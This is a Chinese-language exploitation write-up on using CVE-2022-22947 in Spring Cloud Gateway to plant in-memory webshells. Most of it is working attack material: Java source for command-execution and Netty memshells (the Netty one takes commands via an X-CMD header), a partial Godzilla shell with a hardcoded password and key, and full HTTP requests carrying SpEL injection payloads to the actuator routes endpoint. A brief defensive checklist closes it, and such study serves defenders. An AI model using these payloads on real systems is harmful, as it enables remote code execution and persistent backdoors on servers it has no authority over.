Sangfor华东天勇战队:CVE-2022-22947打入内存马
字数 1269 2025-08-10 08:28:13
Spring Cloud Gateway CVE-2022-22947 内存马注入技术分析
漏洞背景
CVE-2022-22947 是 Spring Cloud Gateway 中的一个远程代码执行漏洞,攻击者可以通过构造恶意请求在目标服务器上执行任意代码。本文详细分析如何利用该漏洞注入不同类型的内存马。
环境准备
- 测试环境版本:Spring Cloud Gateway v3.1.0
- 关键点:环境版本必须匹配才能成功注入
- 注意事项:内存马类文件不能带包名,必须放在根目录(java目录下)
内存马注入技术
1. CMD内存马注入
内存马代码 (SpringRequestMappingMemshell.java)
import org.springframework.http.HttpStatus;
import org.springframework.http.ResponseEntity;
import org.springframework.web.reactive.result.condition.PatternsRequestCondition;
import org.springframework.web.reactive.result.method.RequestMappingInfo;
import org.springframework.web.util.pattern.PathPattern;
import org.springframework.web.util.pattern.PathPatternParser;
import java.io.IOException;
import java.lang.reflect.Method;
import java.util.Scanner;
public class SpringRequestMappingMemshell {
public static String doInject(Object requestMappingHandlerMapping) {
String msg = "inject-start";
try {
Method registerHandlerMethod = requestMappingHandlerMapping.getClass().getDeclaredMethod("registerHandlerMethod", Object.class, Method.class, RequestMappingInfo.class);
registerHandlerMethod.setAccessible(true);
Method executeCommand = SpringRequestMappingMemshell.class.getDeclaredMethod("executeCommand", String.class);
PathPattern pathPattern = new PathPatternParser().parse("/*");
PatternsRequestCondition patternsRequestCondition = new PatternsRequestCondition(pathPattern);
RequestMappingInfo requestMappingInfo = new RequestMappingInfo("", patternsRequestCondition, null, null, null, null, null, null);
registerHandlerMethod.invoke(requestMappingHandlerMapping, new SpringRequestMappingMemshell(), executeCommand, requestMappingInfo);
msg = "inject-success";
}catch (Exception e){
msg = "inject-error";
}
return msg;
}
public ResponseEntity executeCommand(String cmd) throws IOException {
String execResult = new Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();
return new ResponseEntity(execResult, HttpStatus.OK);
}
}
注入步骤
- 将内存马类文件编译为SpringRequestMappingMemshell.class
- 对class文件进行Base64编码
- 构造恶意请求:
POST /actuator/gateway/routes/aaa HTTP/1.1
Host: 192.168.51.216:8080
Content-Type: application/json
Content-Length: 5177
{
"predicate": [{"name": "Path", "args": {"_genkey_0": "/aaa"}}],
"filters": [{
"name": "RewritePath",
"args": {
"_genkey_0": "#{T(org.springframework.cglib.core.ReflectUtils).defineClass('SpringRequestMappingMemshell',T(org.springframework.util.Base64Utils).decodeFromString('BASE64_ENCODED_CLASS'),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).doInject(@requestMappingHandlerMapping)}",
"_genkey_1": "/${path}"
}
}],
"uri": "http://qiezi.com"
}
- 刷新路由使注入生效:
POST /actuator/gateway/refresh HTTP/1.1
2. 哥斯拉内存马注入
内存马代码 (GMemShell.java)
import org.springframework.http.HttpStatus;
import org.springframework.http.ResponseEntity;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.reactive.result.method.RequestMappingInfo;
import org.springframework.web.server.ServerWebExchange;
import reactor.core.publisher.Mono;
import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;
import java.util.HashMap;
import java.util.Map;
public class GMemShell {
public static Map<String, Object> store = new HashMap<>();
public static String pass = "pass", md5, xc = "3c6e0b8a9c15224a";
public static String doInject(Object obj, String path) {
String msg;
try {
md5 = md5(pass + xc);
Method registerHandlerMethod = obj.getClass().getDeclaredMethod("registerHandlerMethod", Object.class, Method.class, RequestMappingInfo.class);
registerHandlerMethod.setAccessible(true);
Method executeCommand = GMemShell.class.getDeclaredMethod("cmd", ServerWebExchange.class);
RequestMappingInfo requestMappingInfo = RequestMappingInfo.paths(path).build();
registerHandlerMethod.invoke(obj, new GMemShell(), executeCommand, requestMappingInfo);
msg = "ok";
} catch (Exception e) {
e.printStackTrace();
msg = "error";
}
return msg;
}
// 其他辅助方法省略...
@PostMapping("/cmd")
public synchronized ResponseEntity cmd(ServerWebExchange pdata) {
// 哥斯拉核心逻辑
}
}
注入步骤
- 构造恶意请求:
POST /actuator/gateway/routes/new_route3 HTTP/1.1
Host: 192.168.51.216:8080
Content-Type: application/json
Content-Length: 11072
{
"predicates": [{
"name": "Path",
"args": {
"_genkey_0": "/hello"
}
}],
"filters": [{
"name": "RewritePath",
"args": {
"_genkey_0": "#{T(org.springframework.cglib.core.ReflectUtils).defineClass('GMemShell',T(org.springframework.util.Base64Utils).decodeFromString('BASE64_ENCODED_CLASS'),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).doInject(@requestMappingHandlerMapping,'/memshellpath2')}",
"_genkey_1": "/${path}"
}
}],
"uri": "https://www.uri-destination.org",
"order": 0
}
- 注入路径为
/memshellpath2 - 刷新路由使注入生效
3. Netty内存马注入
内存马代码 (NettyMemshell.java)
import io.netty.buffer.Unpooled;
import io.netty.channel.*;
import io.netty.handler.codec.http.*;
import io.netty.util.CharsetUtil;
import reactor.netty.ChannelPipelineConfigurer;
import reactor.netty.ConnectionObserver;
import java.lang.reflect.Array;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.net.SocketAddress;
import java.util.Scanner;
public class NettyMemshell extends ChannelDuplexHandler implements ChannelPipelineConfigurer {
public static String doInject(){
String msg = "inject-start";
try {
// 反射获取NettyWebServer线程
Method getThreads = Thread.class.getDeclaredMethod("getThreads");
getThreads.setAccessible(true);
Object threads = getThreads.invoke(null);
// 遍历线程找到NettyWebServer
for (int i = 0; i < Array.getLength(threads); i++) {
Object thread = Array.get(threads, i);
if (thread != null && thread.getClass().getName().contains("NettyWebServer")) {
// 通过反射修改配置
Field _val$disposableServer = thread.getClass().getDeclaredField("val$disposableServer");
_val$disposableServer.setAccessible(true);
Object val$disposableServer = _val$disposableServer.get(thread);
Field _config = val$disposableServer.getClass().getSuperclass().getDeclaredField("config");
_config.setAccessible(true);
Object config = _config.get(val$disposableServer);
Field _doOnChannelInit = config.getClass().getSuperclass().getSuperclass().getDeclaredField("doOnChannelInit");
_doOnChannelInit.setAccessible(true);
_doOnChannelInit.set(config, new NettyMemshell());
msg = "inject-success";
}
}
}catch (Exception e){
msg = "inject-error";
}
return msg;
}
@Override
public void onChannelInit(ConnectionObserver connectionObserver, Channel channel, SocketAddress socketAddress) {
ChannelPipeline pipeline = channel.pipeline();
pipeline.addBefore("reactor.left.httpTrafficHandler","memshell_handler",new NettyMemshell());
}
@Override
public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception {
if(msg instanceof HttpRequest){
HttpRequest httpRequest = (HttpRequest)msg;
try {
if(httpRequest.headers().contains("X-CMD")) {
String cmd = httpRequest.headers().get("X-CMD");
String execResult = new Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();
send(ctx, execResult, HttpResponseStatus.OK);
return;
}
}catch (Exception e){
e.printStackTrace();
}
}
ctx.fireChannelRead(msg);
}
private void send(ChannelHandlerContext ctx, String context, HttpResponseStatus status) {
FullHttpResponse response = new DefaultFullHttpResponse(HttpVersion.HTTP_1_1, status, Unpooled.copiedBuffer(context, CharsetUtil.UTF_8));
response.headers().set(HttpHeaderNames.CONTENT_TYPE, "text/plain; charset=UTF-8");
ctx.writeAndFlush(response).addListener(ChannelFutureListener.CLOSE);
}
}
使用方式
通过X-CMD头传递命令:
GET / HTTP/1.1
Host: target.com
X-CMD: whoami
技术原理分析
registerHandlerMethod vs registerMapping
-
registerMapping(info, injectToController, method)方法:
- 用于注册处理程序方法(HandlerMethod)
- 将请求映射信息与控制器方法进行关联
- 参数包含请求映射信息、是否注入参数、控制器方法等
-
registerHandlerMethod(Object handler, Method method, RequestMappingInfo mapping)方法:
- 更底层的方法,提供更多控制
- 直接关联请求映射信息、控制器方法及参数解析器
- 更灵活,能处理不同类型的控制器方法和请求
关键区别:
- registerMapping方法较简单,不处理参数解析等细节
- registerHandlerMethod方法更强大,能精确处理请求和控制器方法
注入流程
- 获取requestMappingHandlerMapping bean
- 通过反射调用registerHandlerMethod方法
- 注册恶意控制器方法
- 构造RequestMappingInfo定义访问路径
- 通过/actuator/gateway/refresh使注入生效
防御建议
- 及时升级Spring Cloud Gateway到安全版本
- 禁用/actuator/gateway端点或进行访问控制
- 监控异常的路由配置变更
- 使用WAF拦截恶意请求
- 定期检查服务器上的内存马
总结
本文详细分析了利用CVE-2022-22947漏洞注入三种不同类型内存马的技术细节,包括CMD内存马、哥斯拉内存马和Netty内存马。通过理解这些攻击技术,安全团队可以更好地防御此类攻击。